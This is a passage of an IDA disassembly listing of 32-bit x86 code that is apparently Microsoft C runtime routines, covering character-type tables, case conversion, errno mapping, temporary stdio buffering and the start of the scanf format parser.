xor edx, edx mov dx, [ebp+ecx*2+var_204] and edx, 1 test edx, edx jz short loc_426486 mov eax, [ebp+var_51C] mov cl, ds:byte_4EEF41[eax] or cl, 10h mov edx, [ebp+var_51C] mov ds:byte_4EEF41[edx], cl mov eax, [ebp+var_51C] mov ecx, [ebp+var_51C] mov dl, [ebp+ecx+var_418] mov ds:byte_4EEE40[eax], dl jmp short loc_4264DF ; --------------------------------------------------------------------------- loc_426486: ; CODE XREF: sub_4262B0+19Ej mov eax, [ebp+var_51C] xor ecx, ecx mov cx, [ebp+eax*2+var_204] and ecx, 2 test ecx, ecx jz short loc_4264D2 mov edx, [ebp+var_51C] mov al, ds:byte_4EEF41[edx] or al, 20h mov ecx, [ebp+var_51C] mov ds:byte_4EEF41[ecx], al mov edx, [ebp+var_51C] mov eax, [ebp+var_51C] mov cl, [ebp+eax+var_518] mov ds:byte_4EEE40[edx], cl jmp short loc_4264DF ; --------------------------------------------------------------------------- loc_4264D2: ; CODE XREF: sub_4262B0+1EBj mov edx, [ebp+var_51C] mov ds:byte_4EEE40[edx], 0 loc_4264DF: ; CODE XREF: sub_4262B0+1D4j ; sub_4262B0+220j jmp loc_42641A ; --------------------------------------------------------------------------- loc_4264E4: ; CODE XREF: sub_4262B0+183j jmp loc_4265AE ; --------------------------------------------------------------------------- loc_4264E9: ; CODE XREF: sub_4262B0+20j mov [ebp+var_51C], 0 jmp short loc_426504 ; --------------------------------------------------------------------------- loc_4264F5: ; CODE XREF: sub_4262B0:loc_4265A9j mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_426504: ; CODE XREF: sub_4262B0+243j cmp [ebp+var_51C], 100h jnb loc_4265AE cmp [ebp+var_51C], 41h jb short loc_426558 cmp [ebp+var_51C], 5Ah ja short loc_426558 mov ecx, [ebp+var_51C] mov dl, ds:byte_4EEF41[ecx] or dl, 10h mov eax, [ebp+var_51C] mov ds:byte_4EEF41[eax], dl mov ecx, [ebp+var_51C] add ecx, 20h mov edx, [ebp+var_51C] mov ds:byte_4EEE40[edx], cl jmp short loc_4265A9 ; --------------------------------------------------------------------------- loc_426558: ; CODE XREF: sub_4262B0+26Bj ; sub_4262B0+274j cmp [ebp+var_51C], 61h jb short loc_42659C cmp [ebp+var_51C], 7Ah ja short loc_42659C mov eax, [ebp+var_51C] mov cl, ds:byte_4EEF41[eax] or cl, 20h mov edx, [ebp+var_51C] mov ds:byte_4EEF41[edx], cl mov eax, [ebp+var_51C] sub eax, 20h mov ecx, [ebp+var_51C] mov ds:byte_4EEE40[ecx], al jmp short loc_4265A9 ; --------------------------------------------------------------------------- loc_42659C: ; CODE XREF: sub_4262B0+2AFj ; sub_4262B0+2B8j mov edx, [ebp+var_51C] mov ds:byte_4EEE40[edx], 0 loc_4265A9: ; CODE XREF: sub_4262B0+2A6j ; sub_4262B0+2EAj jmp loc_4264F5 ; --------------------------------------------------------------------------- loc_4265AE: ; CODE XREF: sub_4262B0:loc_4264E4j ; sub_4262B0+25Ej mov esp, ebp pop ebp retn sub_4262B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp ds:dword_4EEE3C, 0 jz short loc_4265D3 mov eax, ds:dword_4EEE24 jmp short loc_4265D5 ; --------------------------------------------------------------------------- loc_4265D3: ; CODE XREF: seg000:004265CAj xor eax, eax loc_4265D5: ; CODE XREF: seg000:004265D1j pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265E0 proc near ; CODE XREF: sub_42C0C0+Dp ; sub_42C180+Fp ... push ebp mov ebp, esp cmp ds:dword_4F0088, 0 jnz short loc_426600 push 0FFFFFFFDh call loc_425E00 add esp, 4 mov ds:dword_4F0088, 1 loc_426600: ; CODE XREF: sub_4265E0+Aj pop ebp retn sub_4265E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426610 proc near ; CODE XREF: sub_41DC60+41p ; sub_41DC60+11Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp ds:dword_4EEE3C, 0 jnz short loc_42663C mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_41D800 add esp, 0Ch jmp loc_426731 ; --------------------------------------------------------------------------- loc_42663C: ; CODE XREF: sub_426610+11j push 19h call sub_421A80 add esp, 4 loc_426646: ; CODE XREF: sub_426610:loc_4266FEj cmp [ebp+arg_8], 0 jz loc_426703 mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, ds:byte_4EEF41[eax] and ecx, 4 test ecx, ecx jz short loc_4266D5 mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_8], 0 jnz short loc_42669A mov ecx, [ebp+arg_0] mov byte ptr [ecx-1], 0 jmp short loc_426703 ; --------------------------------------------------------------------------- loc_42669A: ; CODE XREF: sub_426610+7Fj mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test ecx, ecx jnz short loc_4266D3 mov ecx, [ebp+arg_0] mov byte ptr [ecx-2], 0 jmp short loc_426703 ; --------------------------------------------------------------------------- loc_4266D3: ; CODE XREF: sub_426610+B8j jmp short loc_4266FE ; --------------------------------------------------------------------------- loc_4266D5: ; CODE XREF: sub_426610+5Dj mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx test eax, eax jnz short loc_4266FE jmp short loc_426703 ; --------------------------------------------------------------------------- loc_4266FE: ; CODE XREF: sub_426610:loc_4266D3j ; sub_426610+EAj jmp loc_426646 ; --------------------------------------------------------------------------- loc_426703: ; CODE XREF: sub_426610+3Aj ; sub_426610+88j ... mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_426724 mov edx, [ebp+arg_0] mov byte ptr [edx], 0 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_426703 ; --------------------------------------------------------------------------- loc_426724: ; CODE XREF: sub_426610+101j push 19h call sub_421B20 add esp, 4 mov eax, [ebp+var_4] loc_426731: ; CODE XREF: sub_426610+27j mov esp, ebp pop ebp retn sub_426610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426740 proc near ; CODE XREF: sub_41E3D0+2Ep ; sub_420150+1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4267F0 mov ecx, [ebp+arg_0] mov [eax], ecx mov [ebp+var_4], 0 jmp short loc_426760 ; --------------------------------------------------------------------------- loc_426757: ; CODE XREF: sub_426740:loc_426788j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_426760: ; CODE XREF: sub_426740+15j cmp [ebp+var_4], 2Dh jnb short loc_42678A mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] cmp ecx, ds:dword_450140[eax*8] jnz short loc_426788 call sub_4267E0 mov edx, [ebp+var_4] mov ecx, ds:dword_450144[edx*8] mov [eax], ecx jmp short loc_4267CD ; --------------------------------------------------------------------------- loc_426788: ; CODE XREF: sub_426740+33j jmp short loc_426757 ; --------------------------------------------------------------------------- loc_42678A: ; CODE XREF: sub_426740+24j cmp [ebp+arg_0], 13h jb short loc_4267A3 cmp [ebp+arg_0], 24h ja short loc_4267A3 call sub_4267E0 mov dword ptr [eax], 0Dh jmp short loc_4267CD ; --------------------------------------------------------------------------- loc_4267A3: ; CODE XREF: sub_426740+4Ej ; sub_426740+54j cmp [ebp+arg_0], 0BCh jb short loc_4267C2 cmp [ebp+arg_0], 0CAh ja short loc_4267C2 call sub_4267E0 mov dword ptr [eax], 8 jmp short loc_4267CD ; --------------------------------------------------------------------------- loc_4267C2: ; CODE XREF: sub_426740+6Aj ; sub_426740+73j call sub_4267E0 mov dword ptr [eax], 16h loc_4267CD: ; CODE XREF: sub_426740+46j ; sub_426740+61j ... mov esp, ebp pop ebp retn sub_426740 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4267E0 proc near ; CODE XREF: sub_41E040:loc_41E312p ; sub_41FF60+E4p ... push ebp mov ebp, esp call sub_425C30 add eax, 8 pop ebp retn sub_4267E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4267F0 proc near ; CODE XREF: sub_420150+4Ap ; sub_4214B0+3Cp ... push ebp mov ebp, esp call sub_425C30 add eax, 0Ch pop ebp retn sub_4267F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] sub eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426810 proc near ; CODE XREF: sub_41E040+201p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_4EEA70, 0 jnz short loc_426837 cmp [ebp+arg_0], 61h jl short loc_426832 cmp [ebp+arg_0], 7Ah jg short loc_426832 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_426832: ; CODE XREF: sub_426810+11j ; sub_426810+17j mov eax, [ebp+arg_0] jmp short loc_42689F ; --------------------------------------------------------------------------- loc_426837: ; CODE XREF: sub_426810+Bj push offset dword_4EED14 call ds:dword_4F1428 ; InterlockedIncrement cmp ds:dword_4EED10, 0 jz short loc_426869 push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement push 13h call sub_421A80 add esp, 4 mov [ebp+var_4], 1 jmp short loc_426870 ; --------------------------------------------------------------------------- loc_426869: ; CODE XREF: sub_426810+39j mov [ebp+var_4], 0 loc_426870: ; CODE XREF: sub_426810+57j mov ecx, [ebp+arg_0] push ecx call sub_4268B0 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_426891 push 13h call sub_421B20 add esp, 4 jmp short loc_42689C ; --------------------------------------------------------------------------- loc_426891: ; CODE XREF: sub_426810+73j push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement loc_42689C: ; CODE XREF: sub_426810+7Fj mov eax, [ebp+arg_0] loc_42689F: ; CODE XREF: sub_426810+25j mov esp, ebp pop ebp retn sub_426810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268B0 proc near ; CODE XREF: sub_426810+64p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp ds:dword_4EEA70, 0 jnz short loc_4268DC cmp [ebp+arg_0], 61h jl short loc_4268D4 cmp [ebp+arg_0], 7Ah jg short loc_4268D4 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_4268D4: ; CODE XREF: sub_4268B0+13j ; sub_4268B0+19j mov eax, [ebp+arg_0] jmp loc_4269D7 ; --------------------------------------------------------------------------- loc_4268DC: ; CODE XREF: sub_4268B0+Dj cmp [ebp+arg_0], 100h jge short loc_426923 cmp ds:dword_44FD20, 1 jle short loc_426901 push 2 mov ecx, [ebp+arg_0] push ecx call sub_423D90 add esp, 8 mov [ebp+var_10], eax jmp short loc_426915 ; --------------------------------------------------------------------------- loc_426901: ; CODE XREF: sub_4268B0+3Cj mov edx, [ebp+arg_0] mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 2 mov [ebp+var_10], ecx loc_426915: ; CODE XREF: sub_4268B0+4Fj cmp [ebp+var_10], 0 jnz short loc_426923 mov eax, [ebp+arg_0] jmp loc_4269D7 ; --------------------------------------------------------------------------- loc_426923: ; CODE XREF: sub_4268B0+33j ; sub_4268B0+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_42696C mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_42697D ; --------------------------------------------------------------------------- loc_42696C: ; CODE XREF: sub_4268B0+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_42697D: ; CODE XREF: sub_4268B0+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 200h mov edx, ds:dword_4EEA70 push edx call loc_42BB40 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4269B1 mov eax, [ebp+arg_0] jmp short loc_4269D7 ; --------------------------------------------------------------------------- loc_4269B1: ; CODE XREF: sub_4268B0+FAj cmp [ebp+var_4], 1 jnz short loc_4269C1 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_4269D7 ; --------------------------------------------------------------------------- loc_4269C1: ; CODE XREF: sub_4268B0+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_4269D7: ; CODE XREF: sub_4268B0+27j ; sub_4268B0+6Ej ... mov esp, ebp pop ebp retn sub_4268B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4269E0 proc near ; CODE XREF: sub_41E440+79p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_4269E9: ; CODE XREF: sub_4269E0+31j cmp [ebp+arg_0], 0 jnz short loc_426A0D push offset dword_4394FC push 0 push 41h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_426A0D int 3 ; Trap to Debugger loc_426A0D: ; CODE XREF: sub_4269E0+Dj ; sub_4269E0+2Aj xor eax, eax test eax, eax jnz short loc_4269E9 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+10h] push eax call sub_42E870 add esp, 4 test eax, eax jnz short loc_426A33 xor eax, eax jmp loc_426B30 ; --------------------------------------------------------------------------- loc_426A33: ; CODE XREF: sub_4269E0+4Aj cmp [ebp+var_4], offset dword_44FA90 jnz short loc_426A45 mov [ebp+var_8], 0 jmp short loc_426A5E ; --------------------------------------------------------------------------- loc_426A45: ; CODE XREF: sub_4269E0+5Aj cmp [ebp+var_4], offset dword_44FAB0 jnz short loc_426A57 mov [ebp+var_8], 1 jmp short loc_426A5E ; --------------------------------------------------------------------------- loc_426A57: ; CODE XREF: sub_4269E0+6Cj xor eax, eax jmp loc_426B30 ; --------------------------------------------------------------------------- loc_426A5E: ; CODE XREF: sub_4269E0+63j ; sub_4269E0+75j mov ecx, ds:dword_4EE9C8 add ecx, 1 mov ds:dword_4EE9C8, ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jz short loc_426A83 xor eax, eax jmp loc_426B30 ; --------------------------------------------------------------------------- loc_426A83: ; CODE XREF: sub_4269E0+9Aj mov ecx, [ebp+var_8] cmp ds:dword_4EEA54[ecx*4], 0 jnz short loc_426AEA push 5Eh push offset a_sftbuf_c ; "_sftbuf.c" push 2 push 1000h call sub_41AE60 add esp, 10h mov edx, [ebp+var_8] mov ds:dword_4EEA54[edx*4], eax mov eax, [ebp+var_8] cmp ds:dword_4EEA54[eax*4], 0 jnz short loc_426AEA mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 2 jmp short loc_426B19 ; --------------------------------------------------------------------------- loc_426AEA: ; CODE XREF: sub_4269E0+AEj ; sub_4269E0+DBj mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov ecx, ds:dword_4EEA54[eax*4] mov [edx+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h mov eax, [ebp+var_4] mov dword ptr [eax+4], 1000h loc_426B19: ; CODE XREF: sub_4269E0+108j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 1102h mov eax, [ebp+var_4] mov [eax+0Ch], edx mov eax, 1 loc_426B30: ; CODE XREF: sub_4269E0+4Ej ; sub_4269E0+79j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4269E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B40 proc near ; CODE XREF: sub_41E440+A3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_426B47: ; CODE XREF: sub_426B40+38j cmp [ebp+arg_0], 0 jz short loc_426B74 cmp [ebp+arg_0], 1 jz short loc_426B74 push offset aFlag0Flag1 ; "flag == 0 || flag == 1" push 0 push 0A1h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_426B74 int 3 ; Trap to Debugger loc_426B74: ; CODE XREF: sub_426B40+Bj ; sub_426B40+11j ... xor eax, eax test eax, eax jnz short loc_426B47 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0 jz short loc_426BCD mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1000h test eax, eax jz short loc_426BCD mov ecx, [ebp+var_4] push ecx call sub_421720 add esp, 4 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and ah, 0EEh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov dword ptr [edx+18h], 0 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0 loc_426BCD: ; CODE XREF: sub_426B40+44j ; sub_426B40+53j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_426B40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BE0 proc near ; CODE XREF: sub_41EB80+A2p var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = dword ptr -200h var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1F4 = dword ptr -1F4h var_1F0 = byte ptr -1F0h var_1EF = byte ptr -1EFh var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = dword ptr -1E0h var_1DC = dword ptr -1DCh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = byte ptr -1D0h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_64 = byte ptr -64h var_60 = byte ptr -60h var_55 = byte ptr -55h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 224h push ebx push esi push edi loc_426BEC: ; CODE XREF: sub_426BE0+37j cmp [ebp+arg_4], 0 jnz short loc_426C13 push offset aFormatNull ; "format != NULL" push 0 push 109h push offset aInput_c ; "input.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_426C13 int 3 ; Trap to Debugger loc_426C13: ; CODE XREF: sub_426BE0+10j ; sub_426BE0+30j xor eax, eax test eax, eax jnz short loc_426BEC loc_426C19: ; CODE XREF: sub_426BE0+64j cmp [ebp+arg_0], 0 jnz short loc_426C40 push offset dword_4394EC push 0 push 10Ch push offset aInput_c ; "input.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_426C40 int 3 ; Trap to Debugger loc_426C40: ; CODE XREF: sub_426BE0+3Dj ; sub_426BE0+5Dj xor ecx, ecx test ecx, ecx jnz short loc_426C19 mov [ebp+var_28], 0 movsx edx, [ebp+var_28] mov [ebp+var_20], edx mov eax, [ebp+var_20] mov [ebp+var_34], eax loc_426C57: ; CODE XREF: sub_426BE0:loc_427EC5j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] test edx, edx jz loc_427ECA cmp ds:dword_44FD20, 1 jle short loc_426C89 push 8 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] push ecx call sub_423D90 add esp, 8 mov [ebp+var_1F8], eax jmp short loc_426CA5 ; --------------------------------------------------------------------------- loc_426C89: ; CODE XREF: sub_426BE0+8Dj mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_1F8], edx loc_426CA5: ; CODE XREF: sub_426BE0+A7j cmp [ebp+var_1F8], 0 jz short loc_426CF3 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] push edx lea eax, [ebp+var_20] push eax call sub_4280A0 add esp, 8 push eax call sub_428080 add esp, 8 loc_426CD4: ; CODE XREF: sub_426BE0+111j mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] push eax call sub_4206C0 add esp, 4 test eax, eax jz short loc_426CF3 jmp short loc_426CD4 ; --------------------------------------------------------------------------- loc_426CF3: ; CODE XREF: sub_426BE0+CCj ; sub_426BE0+10Fj mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz loc_427DAE mov [ebp+var_40], 0 mov byte ptr [ebp+var_8], 0 mov [ebp+var_6C], 0 mov eax, [ebp+var_6C] mov [ebp+var_1E8], eax mov ecx, [ebp+var_1E8] mov [ebp+var_1C], ecx mov [ebp+var_10], 0 mov dl, [ebp+var_10] mov [ebp+var_68], dl mov al, [ebp+var_68] mov [ebp+var_70], al mov cl, [ebp+var_70] mov [ebp+var_18], cl mov dl, [ebp+var_18] mov [ebp+var_64], dl mov [ebp+var_14], 0 mov [ebp+var_38], 1 mov [ebp+var_1DC], 0 loc_426D55: ; CODE XREF: sub_426BE0:loc_426EADj movsx eax, [ebp+var_18] test eax, eax jnz loc_426EB2 mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov [ebp+var_C], eax cmp ds:dword_44FD20, 1 jle short loc_426D99 push 4 mov ecx, [ebp+var_C] and ecx, 0FFh push ecx call sub_423D90 add esp, 8 mov [ebp+var_1FC], eax jmp short loc_426DB6 ; --------------------------------------------------------------------------- loc_426D99: ; CODE XREF: sub_426BE0+19Bj mov edx, [ebp+var_C] and edx, 0FFh mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_1FC], ecx loc_426DB6: ; CODE XREF: sub_426BE0+1B7j cmp [ebp+var_1FC], 0 jz short loc_426DE6 mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] lea edx, [ecx+eax*4] mov eax, [ebp+var_C] lea ecx, [eax+edx*2-30h] mov [ebp+var_1C], ecx jmp loc_426EAD ; --------------------------------------------------------------------------- loc_426DE6: ; CODE XREF: sub_426BE0+1DDj mov edx, [ebp+var_C] mov [ebp+var_200], edx mov eax, [ebp+var_200] sub eax, 2Ah mov [ebp+var_200], eax cmp [ebp+var_200], 4Dh ja loc_426EA5 mov edx, [ebp+var_200] xor ecx, ecx mov cl, ds:byte_427F28[edx] jmp ds:off_427F08[ecx*4] loc_426E20: ; DATA XREF: seg000:00427F0Co jmp loc_426EAD ; --------------------------------------------------------------------------- loc_426E25: ; CODE XREF: sub_426BE0+239j ; DATA XREF: seg000:00427F18o mov al, [ebp+var_38] sub al, 1 mov [ebp+var_38], al mov cl, [ebp+var_14] sub cl, 1 mov [ebp+var_14], cl jmp short loc_426EAD ; --------------------------------------------------------------------------- loc_426E38: ; CODE XREF: sub_426BE0+239j ; DATA XREF: seg000:00427F10o mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+1] cmp eax, 36h jnz short loc_426E7A mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+2] cmp edx, 34h jnz short loc_426E7A mov eax, [ebp+arg_4] add eax, 2 mov [ebp+arg_4], eax mov ecx, [ebp+var_1DC] add ecx, 1 mov [ebp+var_1DC], ecx mov [ebp+var_30], 0 mov [ebp+var_2C], 0 jmp short loc_426EAD ; --------------------------------------------------------------------------- loc_426E7A: ; CODE XREF: sub_426BE0+263j ; sub_426BE0+270j jmp short loc_426EA5 ; --------------------------------------------------------------------------- loc_426E7C: ; CODE XREF: sub_426BE0+239j ; DATA XREF: seg000:00427F14o mov dl, [ebp+var_38] add dl, 1 mov [ebp+var_38], dl jmp short loc_426EAD ; --------------------------------------------------------------------------- loc_426E87: ; CODE XREF: sub_426BE0+239j ; DATA XREF: seg000:00427F1Co mov al, [ebp+var_38] add al, 1 mov [ebp+var_38], al loc_426E8F: ; CODE XREF: sub_426BE0+239j ; DATA XREF: seg000:00427F20o mov cl, [ebp+var_14] add cl, 1 mov [ebp+var_14], cl jmp short loc_426EAD ; --------------------------------------------------------------------------- loc_426E9A: ; CODE XREF: sub_426BE0+239j ; DATA XREF: seg000:off_427F08o mov dl, [ebp+var_70] add dl, 1 mov [ebp+var_70], dl jmp short loc_426EAD ; --------------------------------------------------------------------------- loc_426EA5: ; CODE XREF: sub_426BE0+225j ; sub_426BE0+239j ... mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_426EAD: ; CODE XREF: sub_426BE0+201j ; sub_426BE0:loc_426E20j ... jmp loc_426D55 ; --------------------------------------------------------------------------- loc_426EB2: ; CODE XREF: sub_426BE0+17Bj movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_426ED5 mov edx, [ebp+arg_8] mov [ebp+var_1D4], edx mov eax, [ebp+arg_8] add eax, 4 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] mov edx, [ecx-4] mov [ebp+var_3C], edx loc_426ED5: ; CODE XREF: sub_426BE0+2D8j mov [ebp+var_18], 0 movsx eax, [ebp+var_14] test eax, eax jnz short loc_426F0C mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 53h jz short loc_426EF9 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] cmp ecx, 43h jnz short loc_426F04 loc_426EF9: ; CODE XREF: sub_426BE0+30Bj mov dl, [ebp+var_14] add dl, 1 mov [ebp+var_14], dl jmp short loc_426F0C ; --------------------------------------------------------------------------- loc_426F04: ; CODE XREF: sub_426BE0+317j mov al, [ebp+var_14] sub al, 1 mov [ebp+var_14], al loc_426F0C: ; CODE XREF: sub_426BE0+2FFj ; sub_426BE0+322j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] or edx, 20h mov [ebp+var_C], edx cmp [ebp+var_C], 6Eh jz short loc_426F5E cmp [ebp+var_C], 63h jz short loc_426F43 cmp [ebp+var_C], 7Bh jz short loc_426F43 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_20] push ecx call sub_4280A0 add esp, 8 mov [ebp+var_1D8], eax jmp short loc_426F5E ; --------------------------------------------------------------------------- loc_426F43: ; CODE XREF: sub_426BE0+343j ; sub_426BE0+349j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_428020 add esp, 4 mov [ebp+var_1D8], eax loc_426F5E: ; CODE XREF: sub_426BE0+33Dj ; sub_426BE0+361j cmp [ebp+var_1E8], 0 jz short loc_426F71 cmp [ebp+var_1C], 0 jz loc_427D7F loc_426F71: ; CODE XREF: sub_426BE0+385j mov ecx, [ebp+var_C] mov 